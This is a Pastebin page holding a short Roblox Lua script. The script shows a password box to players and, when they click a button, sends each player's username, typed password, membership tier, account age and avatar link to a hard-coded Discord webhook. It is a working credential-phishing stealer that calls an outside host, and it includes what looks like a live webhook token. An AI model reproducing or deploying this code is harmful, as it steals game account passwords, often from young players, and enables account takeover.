Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --Username--
- for index, child in pairs(game.Players:GetChildren()) do
- print(child.Name)
- playername = child.Name
- end
- --Membership--
- player = game.Players[playername]
- local membership = player.MembershipType
- local playermembership = " "
- if membership == Enum.MembershipType.None then
- playermembership = "NBC"
- elseif membership == Enum.MembershipType.BuildersClub then
- playermembership = "BC"
- elseif membership == Enum.MembershipType.TurboBuildersClub then
- playermembership = "TBC"
- elseif membership == Enum.MembershipType.OutrageousBuildersClub then
- playermembership = "OBC"
- end
- --Check--
- function check()
- local password = script.Parent.Password.Text
- if password:len() < 8 or password:len() > 40 then
- end
- end
- --Extra Stuff--
- local avatar = "http://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&Format=Png&username="..playername
- local url = "https://discordapp.com/api/webhooks/298558934900539393/3b2DTqFEh06V1PgZCi7jx0Xf7mDIfrudDRaLwvF5sarTFl8yGs_2cpPIHqIz5tGNOWEf"
- local http = game:GetService("HttpService")
- --Send to Discord--
- script.Parent.MouseButton1Click:connect(function()
- wait(1)
- local message = {
- ['content'] = "Username: "..playername..[[
- Password: ]]..script.Parent.Password.Text..[[
- Membership: ]]..playermembership..[[
- Age: ]]..game.Players[playername].AccountAge..[[
- Avatar: ]]..avatar..""
- }
- message = http:JSONEncode(message)
- http:PostAsync(url, message)
- end)
- not that long
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement